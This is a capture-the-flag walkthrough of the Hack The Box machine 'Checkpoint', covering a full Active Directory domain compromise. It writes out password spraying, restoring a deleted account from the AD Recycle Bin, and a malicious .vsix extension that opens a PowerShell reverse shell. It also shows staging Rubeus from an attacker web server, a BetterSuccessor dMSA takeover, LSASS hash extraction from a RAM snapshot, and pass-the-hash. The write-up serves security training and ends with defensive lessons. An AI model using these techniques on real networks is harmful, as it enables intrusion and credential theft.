Hackthebox: Checkpoint
Overview
Checkpoint is a medium-difficulty Windows machine from Hack The Box built around a full Active Directory domain. It starts the way a lot of real engagements do, with a single low-privileged credential handed to us as an assumed breach. From alex.turner we enumerate the domain and find two interesting things: an SMB share called DevDrop whose comment tells us it accepts approved .vsix packages, and a WRITE ACL on the domainâs CN=Deleted Objects container. That second one is the gadget. We use bloodyAD to restore a tombstoned account, mark.davies, out of the AD Recycle Bin, and the restored object comes back with its old password intact. Unlike alex.turner, mark.davies can write to DevDrop, so we build a malicious Visual Studio Code extension whose activate() hook fires a reverse shell, drop it on the share, and get picked up by the scheduled VS Code instance that installs anything landing there. That gives us a shell as ryan.brooks and the user flag. For privilege escalation, ryan.brooks holds CREATE_CHILD over an OU that exists to hold delegated managed service accounts, which is the precondition for BetterSuccessor, the post-patch variant of the dMSA BadSuccessor attack. We extract ryanâs TGT with Rubeusâ tgtdeleg, create a dMSA that supersedes svc_deploy, and the resulting TGS hands us svc_deployâs key material for free. That account can read the VMBackups share, which is sitting on a 2 GB .vmem RAM snapshot of the DC itself, so we pull it down, run Volatility3âs hashdump over it, recover the Administrator NT hash out of an old LSASS image, and pass-the-hash to finish the box.

Reconnaissance
Quick word first on something that cost me about twenty minutes and has nothing to do with the box. If you have more than one HTB VPN profile connected at the same time, the kernel ends up with several competing 10.129.0.0/16 routes (tun0, tun1, tun2), ECMP picks one per connection, and every port comes back filtered on whichever tunnel doesnât reach the target. If your scans look dead, pin a /32 host route through the tunnel that actually works before you start doubting the box:
1 | sudo ip route replace 10.129.25.119/32 via 10.10.17.1 dev tun2 |
1 | 10.129.25.119 via 10.10.17.1 dev tun2 src 10.10.17.22 |
With traffic going the right way, a SYN scan against the standard AD/Kerberos/SMB/LDAP/WinRM ports tells us what weâre looking at:
1 | sudo nmap -Pn -n -sS -e tun2 --min-rate 200 -p 22,53,80,88,135,139,389,445,464,636,3268,3269,3389,5985,9389 10.129.25.119 |
1 | 53/tcp open domain |
No web server at all, so this is a bare domain controller. DNS on 53, Kerberos on 88, LDAP on 389/636 plus the Global Catalog on 3268/3269, SMB on 445, WinRM on 5985 and ADWS on 9389. A version scan fills in the names and gives us the realm:
1 | sudo nmap -Pn -n -sV -p53,88,135,139,389,445,464,636,3268,5985,9389 10.129.25.119 -oN nmap-sv.txt |
1 | 53/tcp open domain Simple DNS Plus |
The domain is checkpoint.htb, so letâs get it into our /etc/hosts. Kerberos is going to need working name resolution later and nothing involving tickets works against a bare IP:
1 | echo '10.129.25.119 dc01.checkpoint.htb checkpoint.htb dc01' | sudo tee -a /etc/hosts |
One more free data point before we authenticate anything. Even on a hardened DC, an anonymous LDAP bind is usually still allowed to read the rootDSE, which is a cheap way to confirm the naming context and the functional level:
1 | ldapsearch -x -H ldap://dc01.checkpoint.htb -b '' -s base '(objectclass=*)' |
1 | domainFunctionality: 10 |
Functional level 10 means Windows Server 2016 or later, and dc01$ confirms the single DC. Worth noting now, because the privilege escalation on this box depends on delegated managed service accounts and those only exist from the Server 2025 schema onward. So the schema is modern even if the OS banner isnât.
Authenticated Enumeration
Checkpoint is an assumed-breach box, so weâre given one credential up front, the same way a client hands you a test account on day one of an engagement.
1 | alex.turner / Checkpoint2024! |
Rule one with a provided credential: prove it works before you build anything on top of it. The cheapest validation is a share listing. If we get a share table instead of STATUS_LOGON_FAILURE, the password is live.
1 | smbclient -L //dc01.checkpoint.htb/ -U "checkpoint.htb\\alex.turner%Checkpoint2024!" |
1 | Sharename Type Comment |
That is a very loud share list. Two non-default shares, and one of them comes with a comment that reads like a hint because it is one: DevDrop - âVS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0â. Somebody or something on this host installs .vsix packages that land in that directory, and weâve even been told which VS Code engine version to target. Park that for now.
VMBackups is the other one. alex.turner canât read it yet, but a share called VMBackups on a domain controller is the sort of thing you keep coming back to.
With one valid credential, rpcclient will dump the full SAM over MS-SAMR, which gives us the complete user list for spraying and targeting later:
1 | rpcclient -U 'checkpoint.htb\alex.turner%Checkpoint2024!' dc01.checkpoint.htb -c 'enumdomusers' |
1 | user:[Administrator] user:[Guest] user:[krbtgt] |
Sixteen accounts, and three of them stand out from the firstname.lastname crowd. svc_deploy looks like a service account, ryan.brooks is sitting right next to it near the top of the enumeration order, and max.palmer is alone at the bottom. All three end up mattering.
Password Spraying with Summer2024!
Now that we have the full user list, the standard next move is a spray. One password, every account, and we watch for anything that isnât STATUS_LOGON_FAILURE. Seasonal passwords are the ones to try first on a domain that looks like it onboards staff in batches:
1 | for u in $(rpcclient -U 'checkpoint.htb\alex.turner%Checkpoint2024!' dc01.checkpoint.htb -c 'enumdomusers' \ |
1 | [+] james.harper : Summer2024! |
Ten out of sixteen accounts share the password Summer2024!, which is the usual signature of a batch of accounts created from a template and never forced to rotate.
Hereâs the honest part though: none of those ten get us anywhere on this box. Theyâre all in the same group as alex.turner, with the same rights and the same share access. Iâm leaving the step in anyway, because itâs exactly the kind of thing youâd put near the top of a real report. Ten domain accounts with a shared, guessable, non-expiring password is a critical finding whether or not it happens to be on the intended path. But for Checkpoint the way forward isnât a credential, itâs an ACL.
Finding the Real Path with bloodyAD
When BloodHound feels like overkill for a single credential, bloodyADâs get writable is the fastest way to answer the only question that matters: what can this account actually change? It walks the directory and reports every object where the bound user has write access of some kind.
1 | bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable |
1 | distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb |
Four results, and the ones at the top and bottom are the whole box.
CN=Deleted Objects is the AD Recycle Bin container. When an object is deleted on a domain with the Recycle Bin enabled it isnât destroyed. It gets stripped of most attributes, renamed with that \0ADEL:<objectGUID> suffix, flagged isDeleted=TRUE and parked in this container until the tombstone lifetime expires. The important bit is that the Recycle Bin preserves link-valued and non-link-valued attributes, and that includes unicodePwd. A restored object comes back with the password it had when it was deleted.
By default CN=Deleted Objects is readable and writable by Domain Admins only, and a regular user canât even list it. Here alex.turner has WRITE on the container plus WRITE on one specific tombstone sitting inside it, helpfully named Mark Davies. That pairing is the giveaway. Whoever built this box wanted that object restored.
And we have everything we need to do it. Restoring a tombstone is really just clearing isDeleted and moving the object to a live container, which requires write on the deleted object (we have it) plus CREATE_CHILD on the destination container, which is OU=Employees, the second result. The two ACLs are useless apart and sufficient together.
Restoring a Tombstoned Account
bloodyAD wraps the whole thing in one operation. We pass the tombstoneâs full DN, including the \0ADEL: GUID suffix:
1 | bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' \ |
1 | [+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb |
The account is alive again in OU=Employees. Now for the part that makes this attack worth knowing. The restored object kept its old password, and on this domain that happens to be the same one we were given for alex.turner:
1 | smbclient -L //dc01.checkpoint.htb/ -U "checkpoint.htb\\mark.davies%Checkpoint2024!" |
1 | Sharename Type Comment |
We authenticate straight away, no password reset needed, which also means no pwdLastSet change and nothing for a defender to notice in the obvious place.
So what did we actually gain? alex.turner could read DevDrop but not write to it. Letâs see if mark.davies is any different:
1 | echo test > /tmp/test.txt |
1 | putting file /tmp/test.txt as \test.txt (0.2 kB/s) |
Write access confirmed. The restored accountâs group membership is the entire point of resurrecting it. Clean up the test file with rm test.txt before we drop anything real in there.
Foothold - Malicious VS Code Extension
A .vsix package isnât a special format. Itâs a zip archive with a top-level [Content_Types].xml and an extension/ directory containing package.json (the manifest) and the entrypoint JavaScript. When VS Code loads an extension it calls the exported activate() function, and extensions run as fully-trusted Node.js with child_process available. Thereâs no sandbox. So putting a cp.exec() in activate() gives us code execution as whichever userâs VS Code instance loads the package.
Two details from the share comment matter when building it. The engines.vscode field has to be compatible with 1.118.0 or VS Code will refuse to activate the extension, and activationEvents needs * so it fires on load instead of waiting for some language or command trigger.
Letâs build it. We start with a standard PowerShell TCP reverse shell, UTF-16LE encode it and base64 it so it survives being embedded in a JavaScript string and passed to powershell -e:
1 | LHOST=10.10.17.22 LPORT=4445 |
Then the extension skeleton. The manifest advertises itself as a harmless developer tool and extension.js does the actual work in three lines:
1 | mkdir -p /tmp/evil-ext/extension |
Zip it with the three paths in the right places and we have a valid package:
1 | python3 -c "import zipfile,os; os.chdir('/tmp/evil-ext'); |
Before dropping it we need a listener, and a plain nc -lvnp 4445 is a bad idea here. The callback is a PowerShell shell weâll want to drive for a while, and if weâre going to background it, keep it across tool invocations or feed it commands from scripts, a bare netcat that owns our terminalâs stdin gets painful fast. A FIFO-backed listener solves that. tail -f keeps the write end of the pipe open forever, so commands can be echoed into the FIFO from anywhere and output piles up in a file we can tail:
1 | mkfifo /tmp/cp_in |
Now upload the extension to DevDrop:
1 | smbclient //dc01.checkpoint.htb/DevDrop -U "checkpoint.htb\\mark.davies%Checkpoint2024!" \ |
And wait. DevDrop is polled by a scheduled VS Code instance that installs any .vsix it finds, so roughly fifteen seconds after the upload:
1 | tail -f /tmp/cp_out |
1 | Listening on 0.0.0.0 4445 |
Shell on the DC. Note who we are: ryan.brooks, not mark.davies. We wrote the file as mark, but the process that consumed it belongs to ryan, and child processes inherit the token of whoever spawned them. Thatâs worth remembering as a pattern. When you find a directory you can write to, the question isnât what you can do with it, itâs who else reads from it and what they run on your behalf.
User Flag
1 | echo 'type C:\Users\ryan.brooks\Desktop\user.txt' > /tmp/cp_in |
1 | PS C:\Program Files\Microsoft VS Code > 96be0e6161e0911adc41e06444f0ce7e |
And thereâs the user flag: 96be0e6161e0911adc41e06444f0ce7e.
Privilege Escalation - BetterSuccessor
Same question as before with a new identity: what can ryan.brooks write to? Thereâs a wrinkle this time though. We have a shell as ryan but we never recovered his password, and bloodyAD needs to bind to LDAP as him. So before we can enumerate anything we need a Kerberos ticket, and weâll pull it out of the shell itself.
Getting a ticket for ryan with tgtdeleg
Stage Rubeus from a quick Python HTTP server on our box and run tgtdeleg:
1 | $ws = New-Object Net.WebClient |
tgtdeleg is a neat trick and worth understanding rather than just running. It kicks off a fake GSSAPI delegation handshake against cifs/DC01, asking for a ticket with delegation. Because the handshake requests a forwarded TGT, the KDC embeds the userâs own TGT inside the AP-REQ authenticator, and since that authenticator is encrypted with the service-ticket session key our own process already holds, we can decrypt it and walk away with the plaintext TGT. No SeDebugPrivilege, no LSASS access, no elevation at all. Any user can extract their own TGT this way, which is why itâs the right tool when you have a shell but no password.
1 | [+] Successfully decrypted the authenticator |
Decode the blob and convert the .kirbi into a ccache that Impacket and bloodyAD can use:
1 | echo -n '<base64-blob>' | base64 -d > /tmp/ryan.kirbi |
Fixing the clock skew
Before any Kerberos-authenticated tool runs, deal with the skew. Kerberos rejects an AP-REQ whose timestamp is more than five minutes off the KDCâs clock, and this DC was running seven hours ahead of local time. Skip this and youâll get KRB_AP_ERR_SKEW and waste time blaming the ticket:
1 | sudo date -s "$(date -u -d '+7 hours' '+%Y-%m-%d %H:%M:%S UTC')" |
What ryan can write to
Now the same bloodyAD query as before, this time authenticating with the ticket:
1 | bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -k --dc-ip 10.129.25.119 get writable |
The interesting hit is CREATE_CHILD on OU=DMSAHolder,DC=checkpoint,DC=htb. An OU that exists to hold delegated Managed Service Accounts, and we can create objects in it.
Thatâs the precondition for BadSuccessor. The short version: Server 2025 introduced dMSAs with a migration feature, where a new dMSA can be marked as the successor to an existing account. When a dMSA authenticates, the KDC looks at its superseded-account link and, to make the migration seamless, hands back the key material of the account it supersedes inside the TGS. Nothing checks whether the migration was legitimate, so anyone who can create a dMSA and point its superseded link at a target account gets that accountâs keys. CREATE_CHILD on an OU is the only right required, which is why this one made so much noise when Akamai published it.
Microsoftâs patch tightened the original attribute flow, but the BetterSuccessor variant works post-patch by also writing the two attributes the original PoC skipped, msDS-SupersededServiceAccountState=2 and msDS-SupersededManagedAccountLink=<target DN>. Together those rebuild the state the KDC expects from a migration thatâs genuinely in progress. bloodyADâs add badSuccessor module handles both flows.
Weaponising the dMSA
Now we create a dMSA in the OU we control and point it at svc_deploy:
1 | bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u ryan.brooks -k --dc-ip 10.129.25.119 \ |
1 | [+] Creating DMSA evil_dmsa5$ in OU=DMSAHolder,DC=checkpoint,DC=htb |
That last block is the payoff. The âcurrent keysâ belong to the dMSA we just created, which is worthless on its own since itâs a brand new account with access to nothing. The previous keys are the ones we want. Theyâre inherited from the preceding-managed-account chain and theyâre svc_deployâs actual key material. We never touched that account, never reset its password, never read a single attribute off it. The KDC handed its keys over because we claimed a migration and nothing validated the claim.
More useful right now, bloodyAD also wrote out a TGT for the dMSA, and that ticket carries svc_deployâs authorisation data, so we can just use it directly.
Reading VMBackups as the dMSA
Remember the VMBackups share nobody could read. svc_deploy can, and through the dMSA ticket, so can we:
1 | cp evil_dmsa5_40.ccache /tmp/dmsa.ccache |
1 | drw-rw-rw- 0 Wed May 13 13:58:18 2026 NightlyBackup_2024-11-01 |
1 | echo -e "use VMBackups\ncd 'NightlyBackup_2024-11-01/memory forensics'\nls\n" | smbclient.py -k -no-pass \ |
1 | -rw-rw-rw- 106496000 Windows Server 2019-000001.vmdk |
A directory called memory forensics with a 2 GB .vmem in it. For anyone who hasnât run into VMwareâs file layout, a .vmem is the guestâs entire physical RAM, written to disk as-is when the VM is suspended or snapshotted. Every secret the running OS had in memory at that moment is in that file, including all of lsass.exe, and this is a snapshot of the domain controller itself.
Backups of a DC are domain-admin equivalent, and a RAM snapshot is worse than a disk backup because disk at least keeps the secrets encrypted at rest.
Dumping the Administrator Hash with Volatility3
Pull the file down. Itâs 2 GB so this takes a few minutes:
1 | mkdir -p /tmp/cp_dump && cd /tmp/cp_dump |
Then let Volatility3 do the work. windows.hashdump locates the registry hives in the memory image, pulls SYSTEMâs boot key and uses it to decrypt the SAM password hashes:
1 | pip install --user volatility3 |
1 | User rid lmhash nthash |
Administrator : f29e9c014295b9b32139b09a2790be3b. No cracking needed, since NTLM authentication accepts the hash itself.
Root Flag
Letâs confirm the hash works and go looking for the flag in one shot. It isnât where youâd expect, so rather than guessing we search the whole drive:
1 | impacket-wmiexec -hashes :f29e9c014295b9b32139b09a2790be3b \ |
1 | C:\Documents and Settings\max.palmer\Desktop\root.txt |
Thereâs max.palmer, the account that stood out at the bottom of our user enumeration right at the start. The flag lives on their desktop instead of Administratorâs, which is a small final twist that catches anyone who types the usual path, gets File Not Found and assumes the pass-the-hash failed. One more call:
1 | impacket-wmiexec -hashes :f29e9c014295b9b32139b09a2790be3b \ |
1 | af0f2a9b2623a6f9ac14994e1b68c10d |
Domain compromised.
1 | user : 96be0e6161e0911adc41e06444f0ce7e |
Key Takeaways
CN=Deleted Objectsis a credential store nobody audits. With the AD Recycle Bin enabled, deleted accounts keep their passwords and their group memberships, and restoring one only needs write on the tombstone plusCREATE_CHILDon a destination container. Delegating write access to that container, or to individual objects inside it, hands out every account the domain has ever deleted.- A writable share plus someone elseâs automation is RCE with their token. We never had any privilege over
ryan.brooks. We just put a file where his scheduled VS Code instance would read it. - VS Code extensions are unsandboxed Node.js. A
.vsixis a zip,activate()runs on load, andchild_processis right there. âApproved extensions onlyâ isnât a control unless something actually verifies the signature, and a share with a friendly comment verifies nothing. - BadSuccessor and BetterSuccessor turn
CREATE_CHILDon an OU into account takeover. The dMSA migration flow was designed to carry key material forward so migrations donât break services, and the KDC never checks whether the migration was authorised. Audit who can create objects in your OUs, and keep in mind that the original patch didnât close the variant that writesmsDS-SupersededServiceAccountStateandmsDS-SupersededManagedAccountLinkby hand. - A RAM snapshot of a domain controller is the domain controller.
.vmem,.vmss, crash dumps, hibernation files, they all contain LSASS and LSASS contains everything. Snapshot and backup storage needs the same access controls as the DC it came from, which on this box meant one service account read ACL stood between a low-privileged user and the Administrator hash. - Spray findings and path findings are different findings. Those ten
Summer2024!accounts got us nowhere on Checkpoint and itâs still the first thing Iâd escalate in a real report. Donât throw a finding away just because it wasnât the one that worked.
That was it for Checkpoint, hope you learned something new!
-0xkujen
- Title: Hackthebox: Checkpoint
- Author: Foued SAIDI
- Created at : 2026-10-24 18:30:00
- Updated at : 2026-10-24 14:20:13
- Link: https://kujen5.github.io/2026/10/24/Hackthebox-Checkpoint/
- License: This work is licensed under CC BY-NC-SA 4.0.